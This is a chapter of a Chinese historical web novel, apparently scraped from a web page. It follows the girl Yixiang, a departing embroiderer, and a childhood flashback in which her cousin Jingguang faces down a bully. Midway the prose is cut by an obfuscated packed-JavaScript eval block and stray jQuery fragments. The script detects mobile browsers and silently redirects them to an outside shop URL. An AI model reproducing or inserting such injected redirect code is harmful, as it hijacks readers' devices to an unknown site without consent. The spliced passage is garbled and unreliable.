孟商已过,桂月翩然而来。
夏日的暑气消退了不少,朵朵榴花退出了长安京的夏日,簇簇天香从九天落入凡尘。(注)
修国公府后院,鹤鸣居,懿香一身香柑橙的长衫松松垮垮,头发只是用一根彩宝蝙蝠簪挽了个将坠不坠的发髻,随意在加了毛毡的竹榻上盘膝。
她上半身趴在榻上的案几上,一只臂弯里枕着歪斜的脑袋,另一只手肘微微伸直,摆弄着镜光为她搜罗来的西洋八音盒。
只要把隐蔽的机关一转,浮雕小巧蔷薇花的盒子就能自己发出和琵琶管弦的丝竹之声不一样的音乐,上面穿着蓬松大裙子的小人就开始绕着舞池旋转了。
懿香听了几遍,觉得还是徐朝的音乐顺耳,但这不耽误她对那个西洋小人儿的好奇。
惊春在她一边趴着,目光和自家姑娘一起,随着八音盒小人的大裙子绕圈圈:
“姑娘,西洋那边的国家的衣服真神奇啊,怎么能撑得这么好看呢,这来一阵风不就能吹变形吗?不会在里面加上了大木头架子撑住吧?”
懿香眼珠子一转,别说,真有道理啊!
她刚想开口赞同,就听见了外面迎桃的声音,原来是晚娘来送陈金珠为她定做的秋天新衣衫了。
“快进来啊晚娘,衣服你放在旁边就好了,咱们看看西洋人的衣服!”
懿香坐直身子,伸手招呼晚娘上榻。
这回晚娘带来的衣服可是不少,隔着一段距离,懿香也能看到上边精美的刺绣,不禁软着嗓子善意埋怨:
“你来我们家也是客人,怎么能把自己劳累这样啊?我要找表姐说说去,就算她是表姐,也不能这么——”
“陈姑娘言重了,这些都是我主动找二姑娘求的。”
晚娘见懿香想要下床,急忙拦住了懿香。她侧身坐在懿香的身边,细长眉眼满是笑意,透明秀美的长指甲轻轻刮了刮懿香的手心。
“您可千万别误会,这些绣活儿,是我主动想为你们做的。”
晚娘没有撒谎,她的面色红红润润,声音轻快如春日百灵,全然布满了希望和喜悦。
“姑娘您看着我的活计多,可细细算来,我并不算劳累。我这一年吃好喝好,和姐妹们相处愉快,还托国公府的福,挣下了未来五年八年都用不完的银钱。”
“有了这笔钱,我娘就能好好延医问药了,我妹妹也能快乐长大。这份恩情,我这辈子都还不完。”
说到这里,晚娘的眼圈有些酸涩,她急忙眨眨眼睛,和懿香道来:
“我在国公府待了八九个月了,之前都是二姑娘每月接来家人与我团聚,可这也不是长久的法子。细细算来,我该回家了,二姑娘也说我该回去和亲人在一起了。”
“我这个月就要收拾东西回去了,走之前舍不得姑娘们,于是又多做了些绣活儿,单独感谢姑娘——那天的马车上,陈姑娘也在。”
啊,要走了啊?
懿香想想时间,确实,修国公府不是晚娘的家,她也应该和血脉亲人回去生活了。
“那,你以后记得过来玩啊。或者等表姐让我出去玩,我就去找你!”
懿香拉着晚娘的手撒娇,她的声音和晚娘的安慰不舍逐渐重合。
旁边的惊春小小点了一下迎桃的肩膀,点头示意:
看啊,两个姑娘真有缘,声音都一样得好听!
晚娘接过了懿香手里的八音盒,一边细细端详上面的西洋裙子,一边说出心里话:
“陈姑娘,我觉得,二姑娘近来是有事情才没让您出去的。今天我看她很是高兴,也许之后她就能和你解释清楚了。”
“陈姑娘也是,和二姑娘姐妹情深呢。”
听了这话,懿香挺胸抬头:“当然,我和表姐天下第一好!我最听她的话!”
“其实……”
其实,这有一段来历。
.
懿香从小就知道,她和两个姐姐不一样。
虽然都是在国公府一起长大,虽然几人的吃穿用度、奴仆排场相差无几,自家的两位姑母对孩子们一视同仁。
可懿香知道,就连所谓的“姑父”都对她瞧不上眼,何况是“先敬罗衣后敬人”的外人呢?
表姐是修国公府的正经姑娘,自然是金尊玉贵的长安京顶级贵女;
陈姐姐虽说是表姑娘,可她是敬国公府的后人、是皇太后的晚辈、是夫人的正经侄女,日后是要继承敬国公府的大笔遗产的,在长安京也是屈指可数的贵女了;
但自己,说起来,生父是秀才、生母是南方一家书院院长的女儿,父母均已离世、外祖家也无人依靠了。
至于自家祖父?
呵呵,就他当年跳着脚卖女儿的性子,谁能信得过他?
懿香能依赖的,只有姑母这一个亲人了。
姑母在国公府内和夫人姐妹相称,她也受尽礼遇,但在外面有些势利眼的人看来,她也不过是“厚脸皮姨娘带来的拖油瓶”罢了。
——这句话就出自幼年赴宴,贞国公家的姑娘,庄婵娟的口中。
由于当年贞国公逼死裴宜和生母的旧事,裴宜和与庄家恨不得老死不相往来。
但世子王须为身上还挂着和贞国公家的婚约不愿解除,拗不过丈夫儿子的裴宜和只能耳提面命,让自家孩子们离庄家远点。
不用她提醒,几个孩子也知道。
镜光和望兰都不喜欢庄婵娟这个表姐:她被庄家惯坏了,一向是喜欢欺负人的,又看不起身份比她低的。
镜光曾经在玩耍时看见过,婵娟把小侍女的手都拧红了。
也不知道是不是被那些落魄书生意淫的“才子佳人表哥表妹”话本子荼毒了,婵娟小时候就不喜欢望兰和懿香这两个和心上人住在一家的“表妹”,即使她们没和王须为说过几句话。
面对望兰这个有名有姓的国公小姐,她只能客客气气、不敢得罪;
可是懿香?
没权没势的,这还不好欺负?
于是就出现了她和狗腿子们嘲笑懿香的那些话语。
懿香知道,夫人让自己出来是为了自己好,她也的确遇见了许多和善的同龄人,比如锦乡侯金家大姑娘。
但谁能想到,她不犯人,婵娟不放过她呢?
面对婵娟的嘲笑,她不敢回击,生怕给姑母惹麻烦,只能红着眼睛,想要和在家中一样撒娇装傻、蒙混过去、
但婵娟越来越刻薄的话语让她更像戏台上咿咿呀呀的丑角。
就差涂个不黑不白的油彩了。
“收起你那小门小户讨好人的手段,我告诉你,我可不是吃素的!”
婵娟和她的霸凌姐妹团还在添油加醋,懿香已经要哭出来了。
天知道,三头身还梳着小孩发包、只会吃吃喝喝的她,有啥手段啊?平时在家里说几句好话就能过得开开心心了啊!
——“你们不许欺负我表妹!”
就在懿香恨不得钻狗洞逃走的时候,一身枯叶泥巴的幼年期镜光出现了。
见到是王须为的正经妹妹,未来的小姑子,婵娟收敛了神色,一边笑一边暗戳戳挑拨:
“王家表妹啊,你还小,不知道有些人的心思,正所谓知人知面不知心。不是一家子的贫贱之人,你和她玩什么呢?过来和表姐一起玩吧。”
“不要!”镜光正气凛然:
“表妹才不是外人,我是我娘生的,她是我娘的血脉,我们都是一家子,她就是我的亲人!”
“倒是表姐今日,所言所为哪里像是长兄推崇的君子模样了?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747929|205799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
镜光从有记忆开始就本能地不喜欢大哥,也不愿意用这种话压婵娟,但很无奈,婵娟似乎是瞎了眼或者被王须为下了蛊。
她是真的喜欢王须为,镜光也只能用这个名头吓唬她。
婵娟显然是被激怒了,又不敢对镜光说重话。
她仗着年岁大身量高,用一只手指着镜光的额头虚张声势,嘴上一秃噜就说出来了家里长辈天天污染自家女孩的话语:
“你这么没规没矩的,以后嫁了人可怎么办啊?”
说完这句话,婵娟居然还为自己委屈:
镜光这么对自己,自己居然还好心教导她,她真是被自己的善良感动到了!
没错,婵娟从小受到的教育就是:
地位不如自己的人,她可以随便欺负;
可是身为女子,在丈夫面前一定要学会恭顺,大不了就打骂小丫头出气“就好啦”。
因此,她对镜光说的话,确实是真心实意的。
但镜光才不在乎呢,小小年纪的她就很有主见了:
“我要是成婚就要找个不让自己受委屈的,什么收敛性格,这辈子不存在的!”
“要是真像表姐说的,嫁不出去,我就在自己家待一辈子,表姐成婚来了我家,我也不走!”
小号镜光一边喊,还一边旋转!螺旋!跳跃!不停歇!
她尽情甩刚刚沾上的泥点子,企图和“亲亲”婵娟表姐一起分享。
上天作证,她不生产泥巴,她只是泥巴的搬运工。
——简直小无赖!
镜光形象演绎了什么叫光脚的不怕穿鞋的:
一身金银刺绣的婵娟看着浑身散发泥巴的镜光发出尖锐爆鸣,领着同样保护新衣的姐妹团四下逃窜。
于是,一场虎头蛇尾的孩童霸凌随着始作俑者的逃跑,烟消云散。
懿香不在乎表姐脏不脏。她紧紧攥住表姐乱七八糟的衣裙一角,眼中满是崇拜,只觉得刚刚让她压抑哭泣的乌云随着表姐对她的保护,一起消散了。
“表姐。”
小懿香压住了喉咙中的哽咽。
“我们是一家人,对吧?”懿香一再确认。
镜光眼见王嬷嬷就要追来了,急忙将懿香拉进旁边的花丛蹲下,掏出干净的手绢为她擦了擦被自己衣服染脏的手。
“是啊,表妹,不同的姓氏不能将我们分割,我们的身上,本就流着一样的血,我们就是亲姐妹!”
“我……”
——“我的小祖宗啊!”
小镜光还想发表高论,就被王嬷嬷提着衣领悬到了半空。
她瞬间从刚刚威风八面的小斗士变成一只翻壳的出泥小乌龟,藕节一样的四肢悬空扑腾。
“小祖宗啊,你咬了楚公子咱家也不怕,夫人当然是护着你的。但也要出去让人知道原因吧——你这跑得也太快了!”
王嬷嬷抖落镜光的脏衣服、早上还是新的现在成了黑的衣服,内心绝望:
“你究竟是怎么跑的啊?”
回应她的是镜光的天真烂漫:“我钻狗洞了啊!”
王嬷嬷招呼了一众婆子,赶紧把自家两个姑娘领回去。
一路上,她还在不停念叨:
刚刚被皇后侄儿试图摸脸的莳雨已经不害怕了,二姑娘要赶紧换身衣服可别生病;陈姑娘也是,赶紧去让丫头们帮忙净手。(注)
满心都是镜光的王嬷嬷没注意到,跟在她后面的小豆丁懿香其实在安静窃喜。
时至今日,懿香都能回忆,当时她心中独辟蹊径的安全感:
——太好啦!
——姑母说她钻过狗洞;刚刚被欺负的时候自己也想钻狗洞;突然表姐也钻狗洞了!
——她们果然就是天造地设的一家人!